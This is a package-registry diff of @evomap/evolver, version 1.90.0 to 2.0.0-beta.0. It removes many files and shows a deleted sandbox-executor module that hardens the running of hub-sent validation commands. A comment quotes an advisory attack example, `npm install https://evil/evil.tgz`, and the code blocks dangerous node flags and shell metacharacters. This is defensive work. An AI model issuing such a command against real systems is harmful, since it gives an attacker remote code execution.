@evomap/evolver 1.90.0 → 2.0.0-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (231) hide show
  1. package/README.md +27 -564
  2. package/bin/evolver-llm-proxy.js +3 -0
  3. package/bin/evolver-mcp.js +2 -0
  4. package/bin/evolver-proxy.js +3 -0
  5. package/bin/evolver.js +4 -0
  6. package/index.js +1 -3670
  7. package/package.json +32 -62
  8. package/CONTRIBUTING.md +0 -19
  9. package/LICENSE +0 -641
  10. package/README.ja-JP.md +0 -521
  11. package/README.ko-KR.md +0 -520
  12. package/README.zh-CN.md +0 -531
  13. package/SKILL.md +0 -365
  14. package/assets/cover.png +0 -0
  15. package/assets/gep/genes.seed.json +0 -496
  16. package/conformance/savings-core/constants.json +0 -30
  17. package/conformance/savings-core/golden-vectors.json +0 -333
  18. package/scripts/a2a_export.js +0 -63
  19. package/scripts/a2a_ingest.js +0 -79
  20. package/scripts/a2a_promote.js +0 -118
  21. package/scripts/analyze_by_skill.js +0 -121
  22. package/scripts/build_binaries.js +0 -479
  23. package/scripts/check-changelog.js +0 -166
  24. package/scripts/extract_log.js +0 -85
  25. package/scripts/generate_history.js +0 -75
  26. package/scripts/gep_append_event.js +0 -96
  27. package/scripts/gep_personality_report.js +0 -234
  28. package/scripts/human_report.js +0 -147
  29. package/scripts/recall-verify-report.js +0 -234
  30. package/scripts/recover_loop.js +0 -61
  31. package/scripts/refresh_stars_badge.js +0 -168
  32. package/scripts/seed-merchants.js +0 -91
  33. package/scripts/skill2recipes.js +0 -118
  34. package/scripts/suggest_version.js +0 -89
  35. package/scripts/validate-modules.js +0 -38
  36. package/scripts/validate-suite.js +0 -78
  37. package/src/adapters/claudeCode.js +0 -194
  38. package/src/adapters/codex.js +0 -216
  39. package/src/adapters/cursor.js +0 -91
  40. package/src/adapters/hookAdapter.js +0 -469
  41. package/src/adapters/kiro.js +0 -195
  42. package/src/adapters/opencode.js +0 -326
  43. package/src/adapters/scripts/_lockPaths.js +0 -74
  44. package/src/adapters/scripts/_memoryFiltering.js +0 -35
  45. package/src/adapters/scripts/_runtimePaths.js +0 -440
  46. package/src/adapters/scripts/evolver-session-end.js +0 -321
  47. package/src/adapters/scripts/evolver-session-start.js +0 -587
  48. package/src/adapters/scripts/evolver-signal-detect.js +0 -98
  49. package/src/adapters/scripts/evolver-task-recall.js +0 -173
  50. package/src/atp/atpExecute.js +0 -283
  51. package/src/atp/atpTaskPickup.js +0 -233
  52. package/src/atp/autoBuyer.js +0 -382
  53. package/src/atp/autoDeliver.js +0 -215
  54. package/src/atp/cli.js +0 -354
  55. package/src/atp/cliAutobuyPrompt.js +0 -154
  56. package/src/atp/consumerAgent.js +0 -157
  57. package/src/atp/defaultHandler.js +0 -69
  58. package/src/atp/heartbeatSignalsHandler.js +0 -254
  59. package/src/atp/hubClient.js +0 -317
  60. package/src/atp/index.js +0 -38
  61. package/src/atp/merchantAgent.js +0 -118
  62. package/src/atp/protocol.js +0 -41
  63. package/src/atp/questionComposer.js +0 -133
  64. package/src/atp/serviceHelper.js +0 -92
  65. package/src/canary.js +0 -13
  66. package/src/config.js +0 -351
  67. package/src/evolve/guards.js +0 -1
  68. package/src/evolve/pipeline/collect.js +0 -1
  69. package/src/evolve/pipeline/dispatch.js +0 -1
  70. package/src/evolve/pipeline/enrich.js +0 -1
  71. package/src/evolve/pipeline/hub.js +0 -1
  72. package/src/evolve/pipeline/select.js +0 -1
  73. package/src/evolve/pipeline/signals.js +0 -1
  74. package/src/evolve/utils.js +0 -1
  75. package/src/evolve.js +0 -1
  76. package/src/experiment/agentRunner.js +0 -229
  77. package/src/experiment/cli.js +0 -159
  78. package/src/experiment/comparison.js +0 -233
  79. package/src/experiment/metrics.js +0 -75
  80. package/src/forceUpdate.js +0 -991
  81. package/src/gep/a2a.js +0 -173
  82. package/src/gep/a2aProtocol.js +0 -1
  83. package/src/gep/analyzer.js +0 -35
  84. package/src/gep/antiAbuseTelemetry.js +0 -1
  85. package/src/gep/assetCallLog.js +0 -197
  86. package/src/gep/assetStore.js +0 -723
  87. package/src/gep/assets.js +0 -36
  88. package/src/gep/autoDistillConv.js +0 -1
  89. package/src/gep/autoDistillLlm.js +0 -1
  90. package/src/gep/bridge.js +0 -138
  91. package/src/gep/candidateEval.js +0 -1
  92. package/src/gep/candidates.js +0 -1
  93. package/src/gep/claimNudge.js +0 -121
  94. package/src/gep/cliContracts.js +0 -1190
  95. package/src/gep/contentHash.js +0 -1
  96. package/src/gep/conversationDistiller.js +0 -1
  97. package/src/gep/conversationSniffer.js +0 -1
  98. package/src/gep/crypto.js +0 -1
  99. package/src/gep/curriculum.js +0 -1
  100. package/src/gep/deviceId.js +0 -1
  101. package/src/gep/directoryClient.js +0 -115
  102. package/src/gep/envFingerprint.js +0 -1
  103. package/src/gep/epigenetics.js +0 -1
  104. package/src/gep/execBridge.js +0 -1
  105. package/src/gep/executionTrace.js +0 -291
  106. package/src/gep/explore.js +0 -1
  107. package/src/gep/featureFlags.js +0 -121
  108. package/src/gep/gitOps.js +0 -265
  109. package/src/gep/hash.js +0 -1
  110. package/src/gep/hostErrorClassifier.js +0 -34
  111. package/src/gep/hubFetch.js +0 -1
  112. package/src/gep/hubReview.js +0 -1
  113. package/src/gep/hubSearch.js +0 -1
  114. package/src/gep/hubVerify.js +0 -1
  115. package/src/gep/idleScheduler.js +0 -400
  116. package/src/gep/issueReporter.js +0 -416
  117. package/src/gep/learningSignals.js +0 -1
  118. package/src/gep/llmReview.js +0 -92
  119. package/src/gep/localStateAwareness.js +0 -243
  120. package/src/gep/mailboxTransport.js +0 -119
  121. package/src/gep/memoryGraph.js +0 -1
  122. package/src/gep/memoryGraphAdapter.js +0 -1
  123. package/src/gep/mutation.js +0 -1
  124. package/src/gep/narrativeMemory.js +0 -1
  125. package/src/gep/oauthLogin.js +0 -181
  126. package/src/gep/openPRRegistry.js +0 -1
  127. package/src/gep/paths.js +0 -522
  128. package/src/gep/personality.js +0 -1
  129. package/src/gep/policyCheck.js +0 -1
  130. package/src/gep/portable.js +0 -103
  131. package/src/gep/privacyClient.js +0 -235
  132. package/src/gep/prompt.js +0 -1
  133. package/src/gep/questionGenerator.js +0 -518
  134. package/src/gep/recallInject.js +0 -1
  135. package/src/gep/recallVerifier.js +0 -1
  136. package/src/gep/reflection.js +0 -1
  137. package/src/gep/sanitize.js +0 -264
  138. package/src/gep/savingsCore.js +0 -1
  139. package/src/gep/schemas/capsule.js +0 -170
  140. package/src/gep/schemas/gene.js +0 -154
  141. package/src/gep/schemas/index.js +0 -8
  142. package/src/gep/schemas/protocol.js +0 -51
  143. package/src/gep/schemas/task.js +0 -74
  144. package/src/gep/selector.js +0 -1
  145. package/src/gep/selfPR.js +0 -469
  146. package/src/gep/signals.js +0 -776
  147. package/src/gep/skill2gep.js +0 -1056
  148. package/src/gep/skill2gepAudit.js +0 -303
  149. package/src/gep/skill2recipes.js +0 -511
  150. package/src/gep/skillDistiller.js +0 -1
  151. package/src/gep/skillPublisher.js +0 -358
  152. package/src/gep/solidify.js +0 -1
  153. package/src/gep/strategy.js +0 -1
  154. package/src/gep/taskReceiver.js +0 -575
  155. package/src/gep/tokenSavings.js +0 -1
  156. package/src/gep/trajectoryExport.js +0 -1
  157. package/src/gep/validationReport.js +0 -55
  158. package/src/gep/validator/index.js +0 -411
  159. package/src/gep/validator/reporter.js +0 -210
  160. package/src/gep/validator/sandboxExecutor.js +0 -480
  161. package/src/gep/validator/stakeBootstrap.js +0 -357
  162. package/src/gep/workspaceKeychain.js +0 -1
  163. package/src/ops/cleanup.js +0 -80
  164. package/src/ops/commentary.js +0 -60
  165. package/src/ops/health_check.js +0 -104
  166. package/src/ops/index.js +0 -11
  167. package/src/ops/innovation.js +0 -67
  168. package/src/ops/lifecycle.js +0 -798
  169. package/src/ops/self_repair.js +0 -76
  170. package/src/ops/skills_monitor.js +0 -147
  171. package/src/ops/trigger.js +0 -33
  172. package/src/proxy/clientSettings.js +0 -405
  173. package/src/proxy/envelope.js +0 -59
  174. package/src/proxy/extensions/dmHandler.js +0 -45
  175. package/src/proxy/extensions/sessionHandler.js +0 -141
  176. package/src/proxy/extensions/skillUpdater.js +0 -64
  177. package/src/proxy/extensions/traceControl.js +0 -1
  178. package/src/proxy/index.js +0 -1395
  179. package/src/proxy/inject.js +0 -1
  180. package/src/proxy/lifecycle/manager.js +0 -1568
  181. package/src/proxy/mailbox/state.js +0 -207
  182. package/src/proxy/mailbox/store.js +0 -602
  183. package/src/proxy/router/cache_passthrough.js +0 -26
  184. package/src/proxy/router/features.js +0 -84
  185. package/src/proxy/router/gemini_route.js +0 -154
  186. package/src/proxy/router/messages_route.js +0 -535
  187. package/src/proxy/router/model_router.js +0 -113
  188. package/src/proxy/router/models_route.js +0 -52
  189. package/src/proxy/router/ollama_route.js +0 -103
  190. package/src/proxy/router/responses_route.js +0 -170
  191. package/src/proxy/router/vertex_route.js +0 -110
  192. package/src/proxy/server/http.js +0 -363
  193. package/src/proxy/server/routes.js +0 -558
  194. package/src/proxy/server/settings.js +0 -115
  195. package/src/proxy/sync/engine.js +0 -179
  196. package/src/proxy/sync/inbound.js +0 -211
  197. package/src/proxy/sync/outbound.js +0 -361
  198. package/src/proxy/task/monitor.js +0 -131
  199. package/src/proxy/trace/extractor.js +0 -1
  200. package/src/proxy/trace/usage.js +0 -1
  201. package/src/solo/breaker.js +0 -25
  202. package/src/solo/gitGuard.js +0 -65
  203. package/src/webui/client/clientJs/assets.js +0 -111
  204. package/src/webui/client/clientJs/bootstrap.js +0 -92
  205. package/src/webui/client/clientJs/common.js +0 -77
  206. package/src/webui/client/clientJs/i18n.js +0 -366
  207. package/src/webui/client/clientJs/index.js +0 -35
  208. package/src/webui/client/clientJs/interactions.js +0 -351
  209. package/src/webui/client/clientJs/overview.js +0 -152
  210. package/src/webui/client/clientJs/personality.js +0 -285
  211. package/src/webui/client/clientJs/pipelines.js +0 -330
  212. package/src/webui/client/indexHtml.js +0 -221
  213. package/src/webui/client/static.js +0 -23
  214. package/src/webui/client/stylesCss.js +0 -639
  215. package/src/webui/client/vendor/README.md +0 -15
  216. package/src/webui/client/vendor/echarts.min.js +0 -45
  217. package/src/webui/index.js +0 -14
  218. package/src/webui/observer/assets.js +0 -146
  219. package/src/webui/observer/index.js +0 -37
  220. package/src/webui/observer/interactions.js +0 -127
  221. package/src/webui/observer/jsonl.js +0 -75
  222. package/src/webui/observer/paths.js +0 -46
  223. package/src/webui/observer/personality.js +0 -43
  224. package/src/webui/observer/pipelineEvents.js +0 -58
  225. package/src/webui/observer/redact.js +0 -63
  226. package/src/webui/observer/runs.js +0 -356
  227. package/src/webui/observer/safety.js +0 -57
  228. package/src/webui/observer/skills.js +0 -70
  229. package/src/webui/observer/status.js +0 -71
  230. package/src/webui/server/http.js +0 -138
  231. package/src/webui/server/routes.js +0 -41
@@ -1,480 +0,0 @@
1
- // src/gep/validator/sandboxExecutor.js
2
- //
3
- // Runs validation commands provided by the Hub inside an isolated sandbox
4
- // directory with strict resource/time limits, and does NOT trust the capsule
5
- // or gene payload -- we only execute commands exactly as Hub sent them,
6
- // inside a fresh empty working directory, with network blocked by convention
7
- // and output truncated to a small size.
8
- //
9
- // Security posture:
10
- // - Never run inside the evolver's own workspace or repo root.
11
- // - Create a fresh temp directory per task; wipe after execution.
12
- // - Per-command timeout defaults to 60s, hard cap 120s.
13
- // - Total batch timeout defaults to 180s.
14
- // - Collect stdout/stderr truncated to 4000 chars each to match
15
- // ValidationReport.command.stdout/stderr schema on the Hub.
16
- //
17
- // This module is intentionally simple and has no external dependencies.
18
- 'use strict';
19
-
20
- const fs = require('fs');
21
- const os = require('os');
22
- const path = require('path');
23
- const crypto = require('crypto');
24
- const { spawn } = require('child_process');
25
-
26
- const DEFAULT_CMD_TIMEOUT_MS = 60_000;
27
- const MAX_CMD_TIMEOUT_MS = 120_000;
28
- const DEFAULT_BATCH_TIMEOUT_MS = 180_000;
29
- const MAX_OUTPUT_CHARS = 4000;
30
-
31
- // Hard allowlist of executables the Hub-provided validation command may invoke.
32
- // Any command whose first token is not in this set is rejected before spawn().
33
- // This prevents command injection via Hub-delivered task.command strings even
34
- // if Hub itself is compromised or mis-signs a task.
35
- //
36
- // GHSA-jxh8-jh77-xh6g: `npm` and `npx` used to be on this allowlist. They are
37
- // arbitrary-code-execution-by-design (npm runs preinstall/install/postinstall
38
- // lifecycle scripts; npx fetches and runs remote package `bin` entries), so a
39
- // compromised/MitM'd Hub could issue `validation_commands: ["npm install
40
- // https://evil/evil.tgz"]` and get RCE on every validator in one poll cycle.
41
- // Validator nodes only ever need to run `node <script>`, so we drop npm/npx.
42
- // Any legitimate validation that previously used `npx vitest run ...` must be
43
- // rewritten by the gene author to `node node_modules/vitest/vitest.mjs ...`.
44
- const ALLOWED_EXECUTABLES = new Set(['node']);
45
-
46
- // Depth-in-depth: even though `node` is in ALLOWED_EXECUTABLES, reject the
47
- // flags that turn it into an arbitrary-code evaluator. A legitimate Hub-
48
- // delivered validation command should always be `node <script-file> [args]`,
49
- // never `node -e "..."` or `node --require ./attacker-preload`. This closes
50
- // the gap where validation_commands go straight from Hub to runInSandbox
51
- // without passing through policyCheck.isValidationCommandAllowed().
52
- const BLOCKED_NODE_FLAGS = new Set([
53
- '-e', '--eval',
54
- '-p', '--print',
55
- '-i', '--interactive',
56
- '-r', '--require',
57
- '--loader',
58
- '--experimental-loader',
59
- '--import',
60
- '--env-file',
61
- ]);
62
-
63
- function assertNodeCommandSafe(parsed) {
64
- if (parsed.executable !== 'node') return;
65
- for (const arg of parsed.args) {
66
- const flag = arg.split('=')[0];
67
- if (BLOCKED_NODE_FLAGS.has(flag)) {
68
- throw new Error('node flag not allowed in sandbox: ' + flag);
69
- }
70
- }
71
- const firstPositional = parsed.args.find((a) => !a.startsWith('-'));
72
- if (!firstPositional) {
73
- throw new Error('node requires a script file argument in sandbox (inline eval is not allowed)');
74
- }
75
- }
76
-
77
- // Parse a command string into executable + argv array, supporting single and
78
- // double quotes. This is a minimal parser and does NOT expand environment
79
- // variables, globs, redirects, pipes, or subshells. If the command string
80
- // contains shell metacharacters that cannot be parsed, we reject it.
81
- //
82
- // Returns { executable, args } on success, or throws on parse failure.
83
- function parseCommand(cmdString) {
84
- if (typeof cmdString !== 'string') {
85
- throw new Error('command must be a string, got ' + typeof cmdString);
86
- }
87
- const tokens = [];
88
- let buf = '';
89
- let quote = null; // '\'' | '"' | null
90
- for (let i = 0; i < cmdString.length; i++) {
91
- const ch = cmdString[i];
92
- if (quote) {
93
- if (ch === quote) {
94
- quote = null;
95
- } else {
96
- buf += ch;
97
- }
98
- continue;
99
- }
100
- if (ch === '\'' || ch === '"') {
101
- quote = ch;
102
- continue;
103
- }
104
- if (ch === ' ' || ch === '\t' || ch === '\n') {
105
- if (buf.length > 0) {
106
- tokens.push(buf);
107
- buf = '';
108
- }
109
- continue;
110
- }
111
- // Reject shell metacharacters that would give injection leverage even with
112
- // shell:false. A legitimate validation command should never contain these.
113
- if (ch === '|' || ch === '&' || ch === ';' || ch === '>' || ch === '<' || ch === '`' || ch === '$') {
114
- throw new Error('shell metacharacter not allowed in command: ' + ch);
115
- }
116
- buf += ch;
117
- }
118
- if (quote) throw new Error('unterminated quote in command');
119
- if (buf.length > 0) tokens.push(buf);
120
- if (tokens.length === 0) throw new Error('empty command');
121
- return { executable: tokens[0], args: tokens.slice(1) };
122
- }
123
-
124
- function safeNumber(v, fallback) {
125
- const n = Number(v);
126
- if (!Number.isFinite(n) || n <= 0) return fallback;
127
- return n;
128
- }
129
-
130
- function truncate(str, limit) {
131
- if (typeof str !== 'string') return '';
132
- if (str.length <= limit) return str;
133
- return str.slice(0, limit) + '\n...[truncated]';
134
- }
135
-
136
- function createSandboxDir() {
137
- // NOTE(windows): mode 0o700 is silently ignored on Windows. The sandbox
138
- // directory is NOT access-restricted on Windows; rely on OS user isolation
139
- // instead. This cannot be fully mitigated via fs.mkdirSync options alone.
140
- const base = path.join(os.tmpdir(), 'evolver-validator');
141
- // The base path is predictable, so on a shared host another local user
142
- // could pre-create it as a symlink and redirect every sandbox workdir
143
- // outside the intended boundary. mkdir first (EEXIST is fine), then lstat
144
- // and refuse anything that is not a real directory — the sticky bit on
145
- // /tmp prevents others from replacing our directory after this check.
146
- try {
147
- fs.mkdirSync(base, { recursive: true, mode: 0o700 });
148
- } catch (e) {
149
- if (!e || e.code !== 'EEXIST') {
150
- throw new Error('[sandboxExecutor] Failed to create sandbox base ' + base + ': ' + (e && e.message || e));
151
- }
152
- }
153
- const baseSt = fs.lstatSync(base);
154
- if (baseSt.isSymbolicLink() || !baseSt.isDirectory()) {
155
- throw new Error('[sandboxExecutor] Refusing sandbox base ' + base + ': exists and is ' +
156
- (baseSt.isSymbolicLink() ? 'a symlink' : 'not a directory'));
157
- }
158
- // A real directory is still not enough: a pre-existing base OWNED BY
159
- // ANOTHER USER lets that user rename/replace our task workdirs at will
160
- // (deletion rights come from the parent dir). Require ownership, and
161
- // self-heal loose permissions on a base we do own (chmod is safe then).
162
- // POSIX-only: Windows has no getuid and ignores these mode bits anyway.
163
- if (typeof process.getuid === 'function') {
164
- if (baseSt.uid !== process.getuid()) {
165
- throw new Error('[sandboxExecutor] Refusing sandbox base ' + base + ': owned by uid ' +
166
- baseSt.uid + ', not the current user (' + process.getuid() + ')');
167
- }
168
- if ((baseSt.mode & 0o077) !== 0) {
169
- fs.chmodSync(base, 0o700);
170
- }
171
- }
172
- const name = 'task_' + Date.now().toString(36) + '_' + crypto.randomBytes(4).toString('hex');
173
- const dir = path.join(base, name);
174
- // Wrap in try/catch: mkdirSync without recursive:true throws if the parent
175
- // has a permission problem (e.g. read-only tmpdir on constrained hosts).
176
- try {
177
- fs.mkdirSync(dir, { mode: 0o700 });
178
- } catch (e) {
179
- throw new Error('[sandboxExecutor] Failed to create sandbox dir ' + dir + ': ' + (e && e.message || e));
180
- }
181
- return dir;
182
- }
183
-
184
- function cleanupDir(dir) {
185
- if (!dir) return;
186
- try {
187
- fs.rmSync(dir, { recursive: true, force: true });
188
- } catch (_) {
189
- // non-fatal
190
- }
191
- }
192
-
193
- function buildSandboxEnv() {
194
- // Minimal env: strip credential-bearing vars. Redirect HOME / TMPDIR to an
195
- // os.tmpdir() path so that any child process that tries to read ~/.npmrc,
196
- // ~/.ssh/*, ~/.aws/credentials, or similar host-credential files ends up
197
- // in an empty scratch directory instead of the real user home.
198
- // PATH is preserved so that node remains resolvable -- the
199
- // ALLOWED_EXECUTABLES allowlist is the real gate against unwanted tools.
200
- const tmp = os.tmpdir();
201
- const fallbackPath = process.platform === 'win32'
202
- ? 'C:\\Windows\\System32'
203
- : '/usr/local/bin:/usr/bin:/bin';
204
- return {
205
- PATH: process.env.PATH || fallbackPath,
206
- HOME: tmp,
207
- USERPROFILE: tmp,
208
- TMPDIR: tmp,
209
- TMP: tmp,
210
- TEMP: tmp,
211
- LANG: 'C.UTF-8',
212
- LC_ALL: 'C.UTF-8',
213
- NODE_ENV: 'sandbox',
214
- EVOLVER_SANDBOX: '1',
215
- };
216
- }
217
-
218
- function runSingleCommand(cmd, opts) {
219
- const options = opts || {};
220
- const timeoutMs = Math.min(
221
- safeNumber(options.timeoutMs, DEFAULT_CMD_TIMEOUT_MS),
222
- MAX_CMD_TIMEOUT_MS,
223
- );
224
- const cwd = options.cwd;
225
- const env = buildSandboxEnv();
226
-
227
- return new Promise((resolve) => {
228
- let child;
229
- let parsed;
230
- try {
231
- parsed = parseCommand(String(cmd));
232
- assertNodeCommandSafe(parsed);
233
- } catch (err) {
234
- resolve({
235
- cmd: String(cmd),
236
- ok: false,
237
- stdout: '',
238
- stderr: 'command_parse_failed: ' + (err && err.message ? err.message : String(err)),
239
- exitCode: -1,
240
- durationMs: 0,
241
- timedOut: false,
242
- });
243
- return;
244
- }
245
- if (!ALLOWED_EXECUTABLES.has(parsed.executable)) {
246
- resolve({
247
- cmd: String(cmd),
248
- ok: false,
249
- stdout: '',
250
- stderr: 'executable_not_allowed: ' + parsed.executable
251
- + ' (allowed: ' + Array.from(ALLOWED_EXECUTABLES).join(', ') + ')',
252
- exitCode: -1,
253
- durationMs: 0,
254
- timedOut: false,
255
- });
256
- return;
257
- }
258
- try {
259
- child = spawn(parsed.executable, parsed.args, {
260
- shell: false,
261
- cwd,
262
- env,
263
- stdio: ['ignore', 'pipe', 'pipe'],
264
- });
265
- } catch (err) {
266
- resolve({
267
- cmd: String(cmd),
268
- ok: false,
269
- stdout: '',
270
- stderr: 'spawn_failed: ' + (err && err.message ? err.message : String(err)),
271
- exitCode: -1,
272
- durationMs: 0,
273
- timedOut: false,
274
- });
275
- return;
276
- }
277
-
278
- let stdout = '';
279
- let stderr = '';
280
- let settled = false;
281
- const startedAt = Date.now();
282
-
283
- const timer = setTimeout(() => {
284
- if (!child.killed) {
285
- try { child.kill('SIGKILL'); } catch (_) {}
286
- }
287
- if (!settled) {
288
- settled = true;
289
- resolve({
290
- cmd: String(cmd),
291
- ok: false,
292
- stdout: truncate(stdout, MAX_OUTPUT_CHARS),
293
- stderr: truncate(stderr + '\n[killed by sandbox timeout]', MAX_OUTPUT_CHARS),
294
- exitCode: -1,
295
- durationMs: Date.now() - startedAt,
296
- timedOut: true,
297
- });
298
- }
299
- }, timeoutMs);
300
-
301
- child.stdout.on('data', (d) => {
302
- stdout += d.toString('utf8');
303
- if (stdout.length > MAX_OUTPUT_CHARS * 2) {
304
- stdout = stdout.slice(-MAX_OUTPUT_CHARS * 2);
305
- }
306
- });
307
- child.stderr.on('data', (d) => {
308
- stderr += d.toString('utf8');
309
- if (stderr.length > MAX_OUTPUT_CHARS * 2) {
310
- stderr = stderr.slice(-MAX_OUTPUT_CHARS * 2);
311
- }
312
- });
313
-
314
- child.on('error', (err) => {
315
- if (settled) return;
316
- settled = true;
317
- clearTimeout(timer);
318
- resolve({
319
- cmd: String(cmd),
320
- ok: false,
321
- stdout: truncate(stdout, MAX_OUTPUT_CHARS),
322
- stderr: truncate(stderr + '\n' + (err && err.message ? err.message : String(err)), MAX_OUTPUT_CHARS),
323
- exitCode: -1,
324
- durationMs: Date.now() - startedAt,
325
- timedOut: false,
326
- });
327
- });
328
-
329
- child.on('exit', (code, signal) => {
330
- if (settled) return;
331
- settled = true;
332
- clearTimeout(timer);
333
- const exitCode = typeof code === 'number' ? code : (signal ? -1 : -1);
334
- resolve({
335
- cmd: String(cmd),
336
- ok: exitCode === 0,
337
- stdout: truncate(stdout, MAX_OUTPUT_CHARS),
338
- stderr: truncate(stderr, MAX_OUTPUT_CHARS),
339
- exitCode,
340
- durationMs: Date.now() - startedAt,
341
- timedOut: false,
342
- });
343
- });
344
- });
345
- }
346
-
347
- /**
348
- * Run a list of validation commands in a fresh sandbox directory.
349
- * Stops at the first failure and returns partial results.
350
- *
351
- * @param {string[]} commands
352
- * @param {{ cmdTimeoutMs?: number, batchTimeoutMs?: number, keepSandbox?: boolean }} [opts]
353
- * @returns {Promise<{
354
- * results: Array<{ cmd: string, ok: boolean, stdout: string, stderr: string, exitCode: number, durationMs: number, timedOut: boolean }>,
355
- * overallOk: boolean,
356
- * sandboxDir: string,
357
- * durationMs: number,
358
- * stoppedEarly: boolean,
359
- * }>}
360
- */
361
- async function runInSandbox(commands, opts) {
362
- const options = opts || {};
363
- const cmds = Array.isArray(commands) ? commands.filter((c) => typeof c === 'string' && c.trim()) : [];
364
- const startedAt = Date.now();
365
-
366
- if (cmds.length === 0) {
367
- return {
368
- results: [],
369
- overallOk: false,
370
- sandboxDir: null,
371
- durationMs: 0,
372
- stoppedEarly: false,
373
- reason: 'no_commands',
374
- };
375
- }
376
-
377
- const batchTimeoutMs = Math.min(
378
- safeNumber(options.batchTimeoutMs, DEFAULT_BATCH_TIMEOUT_MS),
379
- DEFAULT_BATCH_TIMEOUT_MS * 3,
380
- );
381
-
382
- const sandboxDir = createSandboxDir();
383
- const results = [];
384
- let stoppedEarly = false;
385
-
386
- try {
387
- for (const cmd of cmds) {
388
- const elapsed = Date.now() - startedAt;
389
- if (elapsed >= batchTimeoutMs) {
390
- stoppedEarly = true;
391
- break;
392
- }
393
- const remaining = batchTimeoutMs - elapsed;
394
- const r = await runSingleCommand(cmd, {
395
- cwd: sandboxDir,
396
- timeoutMs: Math.min(
397
- safeNumber(options.cmdTimeoutMs, DEFAULT_CMD_TIMEOUT_MS),
398
- remaining,
399
- ),
400
- });
401
- results.push(r);
402
- if (!r.ok) {
403
- stoppedEarly = true;
404
- break;
405
- }
406
- }
407
- } finally {
408
- if (!options.keepSandbox) cleanupDir(sandboxDir);
409
- }
410
-
411
- const overallOk = results.length > 0 && results.every((r) => r.ok) && !stoppedEarly;
412
-
413
- return {
414
- results,
415
- overallOk,
416
- sandboxDir: options.keepSandbox ? sandboxDir : null,
417
- durationMs: Date.now() - startedAt,
418
- stoppedEarly,
419
- };
420
- }
421
-
422
- /**
423
- * Self-test to confirm the validator host can spawn a `node <script>` process
424
- * inside the sandbox successfully. Used by the validator daemon at startup to
425
- * decide whether to participate at all -- if the local toolchain cannot even
426
- * run `node a-trivial-script.js`, the daemon will refuse to start and print a
427
- * user-visible warning instead of flooding the Hub with env_fail reports.
428
- *
429
- * @returns {Promise<{ok: boolean, reason?: string, exitCode?: number, durationMs: number, stderrTail?: string}>}
430
- */
431
- async function runPreflight() {
432
- const sandboxDir = createSandboxDir();
433
- const startedAt = Date.now();
434
- const scriptPath = path.join(sandboxDir, '__evolver_preflight.js');
435
- try {
436
- fs.writeFileSync(scriptPath, "process.stdout.write('preflight_ok\\n');\nprocess.exit(0);\n", { encoding: 'utf8' });
437
- const r = await runSingleCommand('node __evolver_preflight.js', {
438
- cwd: sandboxDir,
439
- timeoutMs: 10_000,
440
- });
441
- if (!r.ok) {
442
- return {
443
- ok: false,
444
- reason: r.timedOut
445
- ? 'preflight_timeout'
446
- : (typeof r.exitCode === 'number' && r.exitCode !== 0 ? 'preflight_exit_nonzero' : 'preflight_failed'),
447
- exitCode: r.exitCode,
448
- durationMs: r.durationMs,
449
- stderrTail: typeof r.stderr === 'string' ? r.stderr.slice(-240) : '',
450
- };
451
- }
452
- return { ok: true, exitCode: r.exitCode || 0, durationMs: Date.now() - startedAt };
453
- } catch (err) {
454
- return {
455
- ok: false,
456
- reason: 'preflight_exception',
457
- durationMs: Date.now() - startedAt,
458
- stderrTail: err && err.message ? String(err.message).slice(-240) : '',
459
- };
460
- } finally {
461
- cleanupDir(sandboxDir);
462
- }
463
- }
464
-
465
- module.exports = {
466
- runInSandbox,
467
- runSingleCommand,
468
- runPreflight,
469
- createSandboxDir,
470
- cleanupDir,
471
- buildSandboxEnv,
472
- parseCommand,
473
- assertNodeCommandSafe,
474
- ALLOWED_EXECUTABLES,
475
- BLOCKED_NODE_FLAGS,
476
- DEFAULT_CMD_TIMEOUT_MS,
477
- MAX_CMD_TIMEOUT_MS,
478
- DEFAULT_BATCH_TIMEOUT_MS,
479
- MAX_OUTPUT_CHARS,
480
- };